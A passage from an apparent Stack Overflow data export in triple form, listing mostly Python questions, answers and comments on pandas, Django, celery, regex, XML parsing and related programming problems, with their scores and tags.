int(str(stm)[-1]) if lastt == 0: time = '{0} минут'.format(stm) if lastt == 1 and not stm == 11: time = '{0} минуту'.format(stm) if ((stm &gt;= 11 and stm &lt;= 19) or (lastt &gt;= 5 and lastt &lt;= 9)): time = '{0} минут'.format(stm) if (lastt &gt;= 2 and lastt &lt;= 4) and not (stm &gt;= 11 and stm &lt;= 19): time = '{0} минуты'.format(stm) if time1 &lt;= 86400 and time1 &gt;3600: lastt = int(str(sth)[-1]) if lastt == 0: time = '{0} часов'.format(sth) if lastt == 1 and not sth == 11: time = '{0} час'.format(sth) if ((sth &gt;= 11 and sth &lt;= 19) or (lastt &gt;= 5 and lastt &lt;= 9)): time = '{0} часов'.format(sth) if (lastt &gt;= 2 and lastt &lt;= 4) and not (sth &gt;= 11 and sth &lt;= 19): time = '{0} часа'.format(sth) if time1 &gt;= 86400: lastt = int(str(std)[-1…
has comment: http://stackoverflow.com/comment/86006059
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/49501000
accepted answer: http://stackoverflow.com/a/49501000
answer count: 1
has title: UnboundLocalError: local variable 'msg' referenced before assignment. How to fix it?
tagged with: discord
has comment: http://stackoverflow.com/comment/86006018
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86005984
tagged with: python-3.x

http://stackoverflow.com/tag/png
tags question: http://stackoverflow.com/q/49599539
tag name: png
type: Tag

http://stackoverflow.com/a/49471098
answers question: http://stackoverflow.com/q/49471081
type: Answer
accepted answer of: http://stackoverflow.com/q/49471081
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
has body: Using Pandas: import pandas as pd avg = pd.read_csv(r'/path/to/2010-Jan-June.csv', usecols=['high'], squeeze=True).mean()

http://stackoverflow.com/comment/86189468
type: Comment
has text: That works exactly as intended. Thank you very much.
type: AnswerComment
comment on: http://stackoverflow.com/a/49590742
score: 0

http://stackoverflow.com/comment/86189167
has text: I appreciate your answer. However, as per my assignment guidelines, I am strictly limited to use only recursion to create the geometric sequence. I will edit my current code and repost it again.
comment on: http://stackoverflow.com/a/49590462
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49582368
has comment: http://stackoverflow.com/comment/86172866
has comment: http://stackoverflow.com/comment/86172847
has comment: http://stackoverflow.com/comment/86173248
has body: Slice a2 (and respectively b2) and use https://www.tensorflow.org/api_docs/python/tf/clip_by_value with a1 and a3 (respectively b1 and b3) as your lower and upper bounds.
score: 0
has comment: http://stackoverflow.com/comment/86172902
has comment: http://stackoverflow.com/comment/86172994
has comment: http://stackoverflow.com/comment/86172916
answers question: http://stackoverflow.com/q/49582212
has comment: http://stackoverflow.com/comment/86173170
type: Answer
has comment: http://stackoverflow.com/comment/86173332
has comment: http://stackoverflow.com/comment/86173051

http://stackoverflow.com/q/49490879
has body: I'm working with a MySQL database which is constantly updating (adding new values and removing old ones). From a client computer I connect to the database using the python MySQL client, the first time I connect I can fetch the data at the current point but when I make the query again the data retrieved doesn't change despite the database has been updated. Initialization code: self.idb=MySQLdb.connect(host=xxx,user=xxx,passwd=xxx) self.ic=self.idb.cursor() self.ic.execute('SHOW DATABASES') options=sorted([x[0] for x in self.ic.fetchall() if x[0].startswith('xxx')],reverse=True) self.ic.execute('USE {}'.format(options[0])) Query: self.dbi=pd.read_sql('SELECT * FROM RawData', con=self.idb) From the server I can verify that the data is constantly updating. Can the updated data be retrieved without having to close the db?
has title: SQL not showing updated tables
has answer: http://stackoverflow.com/a/49490984
type: AnsweredQuestion
score: 0
answer count: 1
tagged with: mysql
type: Question
tagged with: database
tagged with: python
accepted answer: http://stackoverflow.com/a/49490984

http://stackoverflow.com/a/49589778
score: 1
downvote count: 0
upvote count: 1
has body: I don't quite understand what you want. But maybe this will help In [79]: x = np.array([[ 0, 1, 2],[ 3, 4, 5],[ 6, 7, 8],[ 9, 10, 11]]) print display of x: In [80]: x Out[80]: array([[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11]]) Corner selection with advanced indexing: In [81]: rows = np.array([[0,0],[3,3]]) ...: cols = np.array([[0,2],[0,2]]) In [83]: x[rows, cols] Out[83]: array([[ 0, 2], [ 9, 11]]) A view (see docs) of a column (last): In [85]: x[:, 2] Out[85]: array([ 2, 5, 8, 11]) A view of a row: In [86]: x[2, :] Out[86]: array([6, 7, 8])
type: Answer
answers question: http://stackoverflow.com/q/49588478

http://stackoverflow.com/comment/86048762
comment on: http://stackoverflow.com/a/49520758
has text: @eleanora Yeah, trying to avoid any padding for performance, at least that's how I interpreted your requirement of "easy" solution.
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49460593
accepted answer of: http://stackoverflow.com/q/49458709
score: 2
has body: I didn't have a controller connected to the Pi. In my case, I wasn't running ds4drv. In another terminal window run: sudo ds4drv and connect your DS4 controller. https://github.com/chrippa/ds4drv
answers question: http://stackoverflow.com/q/49458709
upvote count: 2
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/108161973

http://stackoverflow.com/comment/86155778
comment on: http://stackoverflow.com/a/49572995
has text: Sorry but can you explain in like really layman terms for the part where what kinds of value will be appended when you use the "variable" k. For example if you use the parameter as x as sweet and it meets the condition of X in V. Will it system be able to identify which K(key) is = to that value and hence store it? Is this the way it works
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/49540784
type: Answer
answers question: http://stackoverflow.com/q/49540704
score: 0
has body: in this case, if you have two arguments for function, you could use partial function from functools import partial def replace_lambda(lst, item): return lst.count(item) def most_appear(name_list): func = partial(replace_lambda, name_list) return max(name_list,key=func )

multithreading
tags question: http://stackoverflow.com/q/49536784
tags question: http://stackoverflow.com/q/49453310
tags question: http://stackoverflow.com/q/49446253
tags question: http://stackoverflow.com/q/49564979
tags question: http://stackoverflow.com/q/49456276
tags question: http://stackoverflow.com/q/49545794
type: Tag
tags question: http://stackoverflow.com/q/49500521
tags question: http://stackoverflow.com/q/49452238
tags question: http://stackoverflow.com/q/49527400
tags question: http://stackoverflow.com/q/49538887
tags question: http://stackoverflow.com/q/49538608
tags question: http://stackoverflow.com/q/49469978
tags question: http://stackoverflow.com/q/49445983
tags question: http://stackoverflow.com/q/49558310
tags question: http://stackoverflow.com/q/49594253
tags question: http://stackoverflow.com/q/49488722
tags question: http://stackoverflow.com/q/49505703
tags question: http://stackoverflow.com/q/49481026
tags question: http://stackoverflow.com/q/49563839
tags question: http://stackoverflow.com/q/49546699
tags question: http://stackoverflow.com/q/49537968
tags question: http://stackoverflow.com/q/49589671
tags question: http://stackoverflow.com/q/49526169
tags question: http://stackoverflow.com/q/49527625
tags question: http://stackoverflow.com/q/49489646
tags question: http://stackoverflow.com/q/49583234
tags question: http://stackoverflow.com/q/49597958
tags question: http://stackoverflow.com/q/49593990
tags question: http://stackoverflow.com/q/49482435
tags question: http://stackoverflow.com/q/49582885
tags question: http://stackoverflow.com/q/49564303
tags question: http://stackoverflow.com/q/49536612
tags question: http://stackoverflow.com/q/49450483
tag name: multithreading
tags question: http://stackoverflow.com/q/49561634
tags question: http://stackoverflow.com/q/49488771
tags question: http://stackoverflow.com/q/49492038
tags question: http://stackoverflow.com/q/49590561
tags question: http://stackoverflow.com/q/49451300
tags question: http://stackoverflow.com/q/49580842
tags question: http://stackoverflow.com/q/49440516
tags question: http://stackoverflow.com/q/49577674

http://stackoverflow.com/comment/86151782
comment on: http://stackoverflow.com/a/49557836
score: 0
type: AnswerComment
has text: employee_id and employee_name both prints same value@zety
type: Comment

http://stackoverflow.com/a/49471129
score: 0
answers question: http://stackoverflow.com/q/49470672
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49470672
type: Answer
has body: Your fit function has a range from 0 to amp. This is not the range your data set has. Solution: Add an offset to your function: import numpy as np import matplotlib.pyplot as plt from scipy.optimize import curve_fit from scipy import genfromtxt data= genfromtxt('steel.txt') x= data[:,0] y= data[:,3] #added offset parameter def gaus(x, amp, mu, s, offset): return amp *np.exp(-(x-mu)**2/(2*s**2)) + offset popt, pcov = curve_fit(gaus,x,y,p0=(-4, 0, -0.1, 100)) print(popt) #better resolution for fit curve representation curvex = np.linspace(np.min(x), np.max(x), 1000) curvey = gaus(curvex, *popt) plt.plot(x,y, 'b.', label='experimental data') plt.plot(curvex, curvey, 'r', label='gaussian fit') plt.legend(loc='best') plt.ylim(2700,4000) plt.xlabel('velocity') plt.ylabel('counts per seconds') plt.legend() plt.show() Output

http://stackoverflow.com/q/49494444
has answer: http://stackoverflow.com/a/49494928
accepted answer: http://stackoverflow.com/a/49494595
tagged with: string
has answer: http://stackoverflow.com/a/49494991
downvote count: 1
favorite count: 0
tagged with: parsing
type: Question
has answer: http://stackoverflow.com/a/49494595
possible better answer: http://stackoverflow.com/a/49494772
tagged with: split
answer count: 5
has answer: http://stackoverflow.com/a/49494772
has answer: http://stackoverflow.com/a/49495743
has body: I have a RDF document, which looks like as follows: &lt;rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:cd="http:xyz.com#"&gt; &lt;rdf:Description rdf:about="http:xyz.com#"&gt; &lt;cd:algorithmid&gt;DPOT-5ab247867d368&lt;/cd:algorithmid&gt; &lt;cd:owner&gt;arun&lt;/cd:owner&gt; &lt;cd:acesskey&gt;ACCESS-5ab247867d370&lt;/cd:acesskey&gt; &lt;cd:purpose&gt;Research&lt;/cd:purpose&gt; &lt;cd:metadata&gt;10&lt;/cd:metadata&gt; &lt;cd:completeness&gt;Partial&lt;/cd:completeness&gt; &lt;cd:completeness&gt;Yes&lt;/cd:completeness&gt; &lt;cd:inclusion_1&gt;age&lt;/cd:inclusion_1&gt; &lt;cd:feature_1&gt;Sex&lt;/cd:feature_1&gt; &lt;cd:target&gt;Diagnosis&lt;/cd:target&gt; &lt;/rdf:Description&gt; &lt;/rdf:RDF&gt; From the above texts, I need to extract the target (i.e. only the value inside the opening and closing "cd:target" tag). The desired output should be 'Diagnosis'. I tried with XML parser but it does not work because of the tree contains ':'. Any better solution, please? Update: This is the I tried, sorry for naive coding style. import xml.etree.ElementTree as et def metadataParser(metadataFile): with open(metadataFile, 'r') as m: data = m.read() # Load the xml content from a string content = et.fromstring(data) description = content.find('rdf:Description') target = description.find("cd:target") return target target = metadataParser('metadata.rdf') print(target)
tagged with: python
has comment: http://stackoverflow.com/comment/85992973
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85992828
has title: How to find a string inside a XML like tag from a file in Python?
has comment: http://stackoverflow.com/comment/85992738
score: 2
upvote count: 3

http://stackoverflow.com/comment/86126011
has text: What operating system are you on?
score: 0
comment on: http://stackoverflow.com/q/49558960
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49586967
has title: How to test celery periodic_task in Django?
has answer: http://stackoverflow.com/a/67597941
has comment: http://stackoverflow.com/comment/86188219
score: 8
accepted answer: http://stackoverflow.com/a/49587017
has body: I have a simple periodic task: from celery.decorators import periodic_task from celery.task.schedules import crontab from .models import Subscription @periodic_task(run_every=crontab(minute=0, hour=0)) def deactivate_subscriptions(): for subscription in Subscription.objects.filter(is_expired=True): print(subscription) subscription.is_active = False subscription.can_activate = False subscription.save() And I want to cover it with tests. I found information about how to test simple tasks, like @shared_task, but nowhere can I find an example of testing @periodic_task
type: AnsweredQuestion
answer count: 2
has answer: http://stackoverflow.com/a/49587017
downvote count: 0
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/107932332
has comment: http://stackoverflow.com/comment/86190216
tagged with: celery
tagged with: periodic-task
favorite count: 0
has comment: http://stackoverflow.com/comment/86188184
upvote count: 8
type: Question
tagged with: cron
possible better answer: http://stackoverflow.com/a/67597941

http://stackoverflow.com/a/49556225
answers question: http://stackoverflow.com/q/49555039
has body: Serge Ballesta is right, although I was making another mistake. Instead of SOL_SOCKET in the setsockopt(), SOL_IP should be used. so the command would be setsockopt(socket.SOL_IP,socket.IP_TRANSPARENT,1) Although, I am not sure what the difference is between SOL_IP and SOL_IPPROTO_IP (both of them allow the usage of IP_TRANSPARENT)
downvote count: 0
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49555039
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/86205229
type: QuestionComment
has text: Then I suggest creating another post. And this one should be closed as "a problem that can no longer be reproduced"
comment on: http://stackoverflow.com/q/49595740
score: 7
type: Comment

http://stackoverflow.com/comment/85943548
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49470004
has text: Thanks for finding that out. I almost spent a day on flask-login. I removed the new user creation from the loadUser function and it all worked fine. Returning the reg_user instead. But as many times as I go through the documentation, I can't understand what the loadUser function does, _when is it triggered_ , How is the current user set etc. ? A small description would be much helpful.
type: Comment

http://stackoverflow.com/q/49457794
upvote count: 1
has comment: http://stackoverflow.com/comment/85919265
answer count: 1
downvote count: 1
has title: python regex: extract a string between 2 values without including patterns
accepted answer: http://stackoverflow.com/a/49457863
linked to: http://stackoverflow.com/q/12736074
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49457863
tagged with: python
tagged with: regex
type: AnsweredQuestion
score: 0
has body: I have a string: a="12cdanfaw3i8hanjwofaef56ghah398hafadsf12cds;dkh38hfasdf56ghaldkshf12cdasdiuhf93f2asdf56gh" I'm trying to extract a string between 12cd and 56gh. Those values would be anfaw3i8hanjwofaef, s;dkh38hfasdf, asdiuhf93f2asdf The regex that I have is re.findall(r'12cd.*56gh', a). But the patterns are included in the output. How do I write the regex to not include it in the output? Thanks
duplicate of: http://stackoverflow.com/q/12736074

http://stackoverflow.com/a/49475526
has body: Well, you need to create the create_superuser function as well: class UserManager(BaseUserManager): def create_user(self, email, full_name, profile_picture, password=None, is_admin=False, is_staff=False, is_active=True): if not email: raise ValueError("User must have an email") if not password: raise ValueError("User must have a password") if not full_name: raise ValueError("User must have a full name") user = self.model( email=self.normalize_email(email) ) user.full_name = full_name user.set_password(password) # change password to hash user.profile_picture = profile_picture user.admin = is_admin user.staff = is_staff user.active = is_active user.save(using=self._db) return user def create_superuser(self, email, full_name, profile_picture, password=None, **extra_fields): if not email: raise ValueError("User must have an email") if not password: raise ValueError("User must have a password") if not full_name: raise ValueError("User must have a full name") user = self.model( email=self.normalize_email(email) ) user.full_name = full_name user.set_password(password) user.profile_picture = profile_picture user.admin = True user.staff = True user.active = True user.save(using=self._db) return user Good Luck!
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49474632
downvote count: 1
score: 19
upvote count: 20
type: Answer
has comment: http://stackoverflow.com/comment/85956223
answers question: http://stackoverflow.com/q/49474632
has comment: http://stackoverflow.com/comment/85957257

http://stackoverflow.com/a/74461550
answers question: http://stackoverflow.com/q/49597563
has body: I had the same issue, but it was not a version problem. The problem was the file name which is multiprocessing.py in my own library. When I import multiprocessing, it was importing the wrong file (my own file). So, I just changed the file name. I know it is a bit silly, but it may help others... Edit: Here is an example. If you have multiprocessing.py file, and cat multiprocessing.py output is: import multiprocessing if __name__ == '__main__': multiprocessing.set_start_method('fork') you get this error. This is obviously because you include your own file instead of the real multiprocessing library. The solution is simply to change your file name to a different one.
has comment: http://stackoverflow.com/comment/131496741
type: Answer
has comment: http://stackoverflow.com/comment/131523779
score: 0

http://stackoverflow.com/comment/85995765
has text: Bear in mind that in high dimension, the euclidean distance becomes very bad at judging whether two points are near or distant. Everything basically has the same euclidean distance in high dimensions. [Cross validated has some links on that topic](https://stats.stackexchange.com/questions/99171/why-is-euclidean-distance-not-a-good-metric-in-high-dimensions)
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49495297

http://stackoverflow.com/comment/85915471
comment on: http://stackoverflow.com/q/49456255
has text: https://docs.python.org/2/library/json.html
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85948694
score: 0
type: QuestionComment
has text: That's not it, it just merges everything together. Notice I only want the values with matching dates but they're all different which is why I can't use `dataset1.merge(dataset2, on='date')`.
comment on: http://stackoverflow.com/q/49473087
type: Comment

http://stackoverflow.com/comment/85924776
type: QuestionComment
score: 0
has text: Thank you @erwin. I'll grateful if you can share some resources about MIP model.
type: Comment
comment on: http://stackoverflow.com/q/49455626

http://stackoverflow.com/comment/86152125
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49572339
has text: What does your `setup.py` file look like?

http://stackoverflow.com/comment/85965704
has text: I see tcl-tk, but not tkinter
type: QuestionComment
comment on: http://stackoverflow.com/q/49481163
score: 0
type: Comment

http://stackoverflow.com/comment/86200470
score: 0
has text: I edited your question to remove the tangential request for off-site resources; such questions are off-topic for Stack Overflow, and your post should just contain a single question anyway.
comment on: http://stackoverflow.com/q/49594812
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49475580
type: Answer
accepted answer of: http://stackoverflow.com/q/49475536
answers question: http://stackoverflow.com/q/49475536
type: AcceptedAnswer
downvote count: 0
score: 6
upvote count: 6
has body: Discover the power of intercativity of Jupyter/iPython. I'm using iPython in this example. Q1 Is load_iris a function in sklearn? In [33]: type(load_iris) Out[33]: function Q2 Now I believe this load_iris function is returning some output which we are storing as data. What exactly is the output of load_iris()? type etc? Docstring - is very helpful: In [34]: load_iris? Signature: load_iris(return_X_y=False) Docstring: Load and return the iris dataset (classification). The iris dataset is a classic and very easy multi-class classification dataset. ================= ============== Classes 3 Samples per class 50 Samples total 150 Dimensionality 4 Features real, positive ================= ============== Read more in the :ref:`User Guide &lt;datasets&gt;`. Parameters ---------- return_X_y : boolean, default=False. If True, returns ``(data, target)`` instead of a Bunch object. See below for more information about the `data` and `target` object. .. versionadded:: 0.18 Returns ------- data : Bunch Dictionary-like object, the interesting attributes are: 'data', the data to learn, 'target', the classification labels, 'target_names', the meaning of the labels, 'feature_names', the meaning of the features, and 'DESCR', the full description of the dataset. (data, target) : tuple if ``return_X_y`` is True ... print description: In [51]: print(data.DESCR) Iris Plants Database ==================== Notes ----- Data Set Characteristics: :Number of Instances: 150 (50 in each of three classes) :Number of Attributes: 4 numeric, predictive attributes and the class ... Q3 Now we are storing this as a dataframe. but what is data.data and data.feature_names In [37]: type(data.data) Out[37]: numpy.ndarray In [88]: data.data.shape Out[88]: (150, 4) In [38]: df = pd.DataFrame(data.data, columns=data.feature_names) In [39]: pd.set_option('display.max_rows', 10) In [40]: df Out[40]: sepal length (cm) sepal width (cm) petal length (cm) petal width (cm) 0 5.1 3.5 1.4 0.2 1 4.9 3.0 1.4 0.2 2 4.7 3.2…

http://stackoverflow.com/comment/86038482
comment on: http://stackoverflow.com/q/49515651
has text: @jpp I'm not sure I agree with the duplicate mark here as OP want to apply string functions. Applying `str` to an `object`-column would replace all non-string values with `NaN`. However, I would say that this question is more of a duplicate to: https://stackoverflow.com/questions/43191832/checking-if-a-data-series-is-strings
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/49598734
accepted answer of: http://stackoverflow.com/q/49598702
type: Answer
has comment: http://stackoverflow.com/comment/86208881
has comment: http://stackoverflow.com/comment/86208648
answers question: http://stackoverflow.com/q/49598702
has comment: http://stackoverflow.com/comment/86205129
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86207820
has comment: http://stackoverflow.com/comment/86205173
has body: U+02c7 CARON is a codepoint in the Lm (Modifier Letter) category, so according to the Unicode standard, it is alphabetic. The documentation for str.isalpha() makes it clear what is included: Alphabetic characters are those characters defined in the Unicode character database as “Letter”, i.e., those with general category property being one of “Lm”, “Lt”, “Lu”, “Ll”, or “Lo”.) You didn't define what you mean by work properly; clearly you have a different definition of what constitutes an alphabetic letter. If you only expected Latin-1 letters, then you need to limit also need to test if the string can be encoded safely to Latin-1. There are exactly zero Lm-category codepoints in the Latin-1 subset of Unicode (and no Lt characters either, and only 2 Lo characters, ª (U+00AA) and º (U+00BA)).
has comment: http://stackoverflow.com/comment/86205099
score: 5
upvote count: 5

http://stackoverflow.com/q/49493307
has comment: http://stackoverflow.com/comment/113185944
has body: I'm using the Python Requests library to call an API that may return custom error messages in it's JSON response, i.e. something like this: { "error": "TOKEN INVALID" } I would like to have a custom exception class with this error message as the message, but otherwise use Requests error handling as much as possible. From other questions it appears that the correct way to do this would be something like this: class MyCustomAPIError(requests.exceptions.HTTPError): pass response = requests.request('GET', url) try: response.raise_for_status() except requests.exceptions.HTTPError as e: msg = e.response.json().get('error') raise MyCustomAPIError(msg) This however raises two exceptions, the original HTTPError first and then During handling of the above exception, another exception occurred: ... my custom error which doesn't seem very elegant. I could suppress the first exception by using raise MyCustomAPIError(msg) from None but that seems rather hacky. Is this the intended way to do this or am I missing a simpler solution?
favorite count: 0
has title: Correct way to handle custom API error messages in Requests?
type: Question
upvote count: 4
tagged with: httpexception
tagged with: exception
type: UnansweredQuestion
downvote count: 0
tagged with: python
tagged with: python-requests
score: 4
answer count: 0

http://stackoverflow.com/comment/85982883
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49489277
has text: Do I understand you want to do something about the redundancy of having a function called `accounts_get_balance` that calls `get` with the constant `ACCOUNTS_GET_BALANCE` and passes it a dict with the key `"address"` that has the value of the function parameter `address`?
type: Comment

http://stackoverflow.com/comment/85994349
type: Comment
has text: The idea is good, but `collections.Counter` is a ready-made tool for this (see my solution).
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49492944

http://stackoverflow.com/q/49465678
has body: I have set the outcome variable y as a column in a csv. It loads properly and works when I print just y, but when I use y = y[x:] I start getting NaN as values. y = previous_games_stats['Unnamed: 7'] #outcome variable (win/loss) y = y[9:] #causes NaN for outcome variables Then later in the file I print the outcome column. final_df is a dataframe which does not yet have the outcome variable set, so I set it below: final_df['outcome'] = y print(final_df['outcome']) But the outcome is: 0 NaN 1 NaN 2 NaN 3 NaN 4 NaN 5 NaN 6 NaN 7 NaN 8 NaN 9 L It looks like the last value is correct (they should all be 'W' or 'L'). How can I line up my data frames properly so I do not get NaN? Entire Code: from sklearn.datasets import load_iris from sklearn.ensemble import RandomForestClassifier import pandas as pd import numpy as np import time import matplotlib.pyplot as plt np.random.seed(0) from array import array iris=load_iris() previous_games_stats = pd.read_csv('stats/2016-2017 CANUCKS STATS.csv', header=1) numGamesToLookBack = 10; axis=1) #Predictor variables X = previous_games_stats'GF', 'GA' count = 0 final_df = pd.DataFrame(columns=['GF', 'GA']) #final_y = pd.DataFrame(columns=['Unnamed: 7']) y = previous_games_stats['Unnamed: 7'] #outcome variable (win/loss) y = y[numGamesToLookBack-1:] for game in range(0, 10): X = previous_games_stats'GF', 'GA' X = X[count:numGamesToLookBack] #num games to look back stats_feature_names = list(X.columns.values) df = pd.DataFrame(iris.data, columns=iris.feature_names) stats_df = pd.DataFrame(X, columns=stats_feature_names).sum().to_frame().T final_df = final_df.append(stats_df, ignore_index=True) count+=1 numGamesToLookBack+=1 print("final_df:\n", final_df) stats_target_names = np.array(['Win', 'Loss']) #don't need?...just a label it looks like df['species'] = pd.Categorical.from_codes(iris.target, iris.target_names) final_df['outcome'] = y final_df['outcome'].update(y) #ADDED UPDATE TO FIX NaN df['is_train'] = np.random.uniform(0, …
has title: pandas outcome variable is NaN
answer count: 1
tagged with: scikit-learn
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49465702
downvote count: 0
tagged with: pandas
score: 1
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49465702

http://stackoverflow.com/a/69124372
answers question: http://stackoverflow.com/q/49599004
has body: Works also great with evalStr(): PyEngine_netA.ExecString(('from datetime import datetime, timedelta')); PyEngine_netA.ExecString(UTF8Encode('DELPHI_EPOCH= datetime(1899,12,30)')); PyEngine_netA.ExecString('def datetime_fromdelphi(dvalue):'+LF+ ' return DELPHI_EPOCH + timedelta(days=dvalue)'); println(PyEngine_netA.EvalStr(('datetime_fromdelphi(43191.68205925926)')));
type: Answer
score: 0

http://stackoverflow.com/comment/85959078
has text: Not a direct answer, but you might want to read http://initd.org/psycopg/docs/sql.html.
score: 0
comment on: http://stackoverflow.com/q/49478164
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49497807
score: 0
answers question: http://stackoverflow.com/q/49471279
has body: Variable substitution into such a statement can be easily done with the peewee orm module. This link provides a thorough explanation: http://charlesleifer.com/blog/using-sqlite-full-text-search-with-python/ This is a link to the docs of the module: http://docs.peewee-orm.com/
type: Answer

http://stackoverflow.com/comment/98124243
type: Comment
type: AnswerComment
has text: This is a legit answer. I'm not closing this question. Can you remove your vote close please ? :)
score: 2
comment on: http://stackoverflow.com/a/55711135

http://stackoverflow.com/comment/86017229
type: QuestionComment
score: 1
has text: You can simply use `arr.reshape((-1, 1))` to have your array reshaped as (N, 1) where N is the shape of the array. I am not sure though that what you are doing is going to be mathematically sound.
comment on: http://stackoverflow.com/q/49502617
type: Comment

http://stackoverflow.com/q/49542459
linked to: http://stackoverflow.com/q/45460145
has answer: http://stackoverflow.com/a/49544179
has comment: http://stackoverflow.com/comment/94596098
downvote count: 0
tagged with: django
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/51766686
possible better answer: http://stackoverflow.com/a/51766686
accepted answer: http://stackoverflow.com/a/49544179
tagged with: matplotlib
score: 10
tagged with: python
upvote count: 10
has body: I am testing several cases of Django and matplotlib such as this question or in french. Each time, it works on my mac, but does not on my server, where I receive the following error: Internal Server Error: /mj/charts/mplimage.png Traceback (most recent call last): File "/usr/local/lib/python3.6/dist-packages/django/core/handlers/exception.py", line 35, in inner response = get_response(request) File "/usr/local/lib/python3.6/dist-packages/django/core/handlers/base.py", line 128, in _get_response response = self.process_exception_by_middleware(e, request) File "/usr/local/lib/python3.6/dist-packages/django/core/handlers/base.py", line 126, in _get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/root/src/jm/majority_judgment/views.py", line 39, in mplimage canvas.print_png(response) File "/usr/local/lib/python3.6/dist-packages/matplotlib/backends/backend_agg.py", line 526, in print_png with cbook.open_file_cm(filename_or_obj, "wb") as fh: File "/usr/lib/python3.6/contextlib.py", line 81, in __enter__ return next(self.gen) File "/usr/local/lib/python3.6/dist-packages/matplotlib/cbook/__init__.py", line 624, in open_file_cm fh, opened = to_filehandle(path_or_file, mode, True, encoding) File "/usr/local/lib/python3.6/dist-packages/matplotlib/cbook/__init__.py", line 615, in to_filehandle raise ValueError('fname must be a PathLike or file handle') ValueError: fname must be a PathLike or file handle [28/Mar/2018 19:09:11] "GET /mj/charts/mplimage.png HTTP/1.1" 500 82804 Here is a minimal snippet: def mplimage(request): f = matplotlib.figure.Figure() canvas = FigureCanvasAgg(f) response = HttpResponse(content_type='image/png') canvas.print_png(response) plt.close(f) return response I have tried to update matplotlib, django and so on, but it did nothing...
favorite count: 0
type: Question
answer count: 2
has title: Error in Django when using matplotlib examples

http://stackoverflow.com/q/49488641
answer count: 0
type: UnansweredQuestion
has body: This is very basic, I'm sure, but I'm making a card game and it comes up with this error (I'm sure it's obvious but I don't know what's wrong): Traceback (most recent call last): File "\\MONSRVNSS02\Student$\HG.McLellan\at school work\Computing\Python\not relevant\A[ Random Card Game].py", line 12, in &lt;module&gt; answer5 = input(str('Your card is ' + card1 + '. Higher or lower? ')) File "&lt;string&gt;", line 1, in &lt;module&gt; NameError: name 'lower' is not defined. My code is: import random def Random_Card (): card_number = ['Ace ', '2 ', '3 ', '4 ', '5 ', '6 ', '7 ', '8 ', '9 ' , '10 ', 'Jack ', 'Queen ', 'King '] card_suit = ['Hearts' , 'Diamonds' , 'Clubs' , 'Spades'] number = random.choice (card_number) suit = random.choice (card_suit) return number + suit card1 = Random_Card() answer5 = input(str('Your card is ' + card1 + '. Higher or lower? ')) card2 = Random_Card() test = 1 while test == 1 : if card1 == 'Ace' : card1 ==14 if card1 == 'Jack' : card1 == 11 if card1 == 'Queen' : card1 == 12 if card1 == 'King' : card1 == 13 if card2 == 'Ace' : card2 == 14 if card2 == 'Jack' : card2 == 11 if card2 == 'Queen' : card2 == 12 if card2 == 'King' : card2 == 13 if answer5 == 'higher' : if card1 &lt; card2 : test = test else: if card1 &gt; card2: test = test + 12 card1 = Random_Card() answer5 = input('Your card is ' + card1 + '. Higher or lower?') card2 = Random_Card() print ("You lose!")
has comment: http://stackoverflow.com/comment/85979988
has comment: http://stackoverflow.com/comment/85980445
score: 0
upvote count: 1
downvote count: 1
tagged with: python
has title: NameError: name 'lower' is not defined
has comment: http://stackoverflow.com/comment/85980044
linked to: http://stackoverflow.com/q/21122540
favorite count: 0
type: Question

http://stackoverflow.com/q/49588891
has answer: http://stackoverflow.com/a/49716392
has body: What's the advised action to take should Scrapy fail with exception: OSError: [Errno 28] No space left on device Traceback (most recent call last): File "/usr/lib/python3.6/site-packages/twisted/internet/defer.py", line 1386, in _inlineCallbacks result = g.send(result) File "/usr/lib/python3.6/site-packages/scrapy/core/downloader/middleware.py", line 53, in process_response spider=spider) File "/usr/lib/python3.6/site-packages/scrapy/downloadermiddlewares/httpcache.py", line 86, in process_response self._cache_response(spider, response, request, cachedresponse) File "/usr/lib/python3.6/site-packages/scrapy/downloadermiddlewares/httpcache.py", line 106, in _cache_response self.storage.store_response(spider, request, response) File "/usr/lib/python3.6/site-packages/scrapy/extensions/httpcache.py", line 317, in store_response f.write(to_bytes(repr(metadata))) OSError: [Errno 28] No space left on device In this specific case, a ramdisk/tmpfs limited to 128 MB was used as cache disk, with scrapy setting HTTPCACHE_EXPIRATION_SECS = 300 on httpcache.FilesystemCacheStorage HTTPCACHE_ENABLED = True HTTPCACHE_EXPIRATION_SECS = 300 HTTPCACHE_DIR = '/tmp/ramdisk/scrapycache' # (tmpfs on /tmp/ramdisk type tmpfs (rw,relatime,size=131072k)) HTTPCACHE_IGNORE_HTTP_CODES = ['400','401','403','404','500','504'] HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage' I might be 